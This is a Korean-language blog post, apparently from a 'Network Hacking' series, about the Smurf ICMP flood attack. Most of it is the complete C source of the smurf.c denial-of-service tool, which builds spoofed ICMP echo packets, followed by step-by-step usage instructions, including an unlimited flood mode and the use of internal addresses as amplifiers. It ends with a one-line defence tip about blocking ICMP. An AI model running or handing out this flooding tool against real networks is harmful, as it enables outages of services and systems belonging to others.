* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다.
Smurf Attack
공격자가 ICMP 조작해 한 번에 많은 양의 ICMP Reply를 공격 대상에게 보내는 공격
smurf2.c
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned int host2ip(char *hostname);
unsigned short in_chksum(u_short *, int);
unsigned int
host2ip(char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr(hostname);
if (i.s_addr == -1) {
h = gethostbyname(hostname);
if (h == NULL) {
fprintf(stderr, "can't find %s\n.", hostname);
exit(0);
}
bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
}
return i.s_addr;
}
/* stamp */
char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";
int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0,
x;
char buf[32], **bcastaddr = malloc(8192);
banner();
signal(SIGINT, ctrlc);
if (argc < 6)
usage(argv[0]);
sin.sin_addr.s_addr = host2ip(argv[1]);
sin.sin_family = AF_INET;
num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);
if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n')
buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++) {
if (!(i % 25)) {
printf(".");
fflush(stdout);
}
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0)
cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}
void
banner(void)
{
puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
}
void
usage(char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}
void
smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct ip *ip;
struct icmp *icmp;
char *packet;
int hincl = 1;
packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
ip = (struct ip *) packet;
icmp = (struct icmp *) (packet + sizeof(struct ip));
memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_v = 4;
ip->ip_ttl = 255;
ip->ip_tos = 0;
ip->ip_off = 0;
ip->ip_id = htons(getpid());
ip->ip_p = 1;
ip->ip_src.s_addr = sin.sin_addr.s_addr;
ip->ip_dst.s_addr = dest;
ip->ip_sum = 0;
icmp->icmp_type = 8;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
0, (struct sockaddr *) & sin, sizeof(struct sockaddr));
free(packet); /* free willy! */
}
void
ctrlc(int ignored)
{
puts("\nDone!\n");
exit(1);
}
unsigned short
in_chksum(u_short * addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
정상적인 ICMP 흐름은
client가 server에게 Request를 보내고 server가 Reply로 응답합니다.
* 기존 공격은 broadcast를 공격하여(목적지 ip) 스푸핑된ip로(공격자) ICMP를 보낸 것으로 위장된 패킷을 보내는 것이었으나 boardcast 공격은 현재 되지 않습니다.
공격 방법-
smurf2 <target> <bcast file> <num packets> <packet delay> <packet size>
target 공격할 곳 ip
bcast file 읽을 수 있는 파일로 브로드캐스트 주소
num packets 보낼 패킷 수 0이면 계속 보내게 됨
packet delay 패킷을 보낼 딜레이 (ms)
packet size 보낼 패킷 사이즈 ( < 1024 )
bcast file은 브로드캐스트 주소 말고
내부 아이피들을 이용하겠습니다.
핑은 request만 있다는 것을 볼 수 있습니다.
이러한 급격하게 올라가고 급격하게 떨어지는 그래프는 공격을 의심해볼 만 합니다.
DrDOS 보안
방화벽 공유기 등에서 ICMP를 차단하면 됩니다.
'Hacking > Network Hacking' 카테고리의 다른 글
DDOS(Distributed Denial Of Service) Slowloris DOS (0) | 2019.09.28 |
---|---|
DOS(Denial of Service) 공격 (0) | 2019.09.28 |
SSL Sniffing (SSLstrip) (0) | 2019.09.28 |
Sniffing - SSH downgrade Attack (ettercap) (0) | 2019.09.28 |
DNS Spoofing (0) | 2019.09.28 |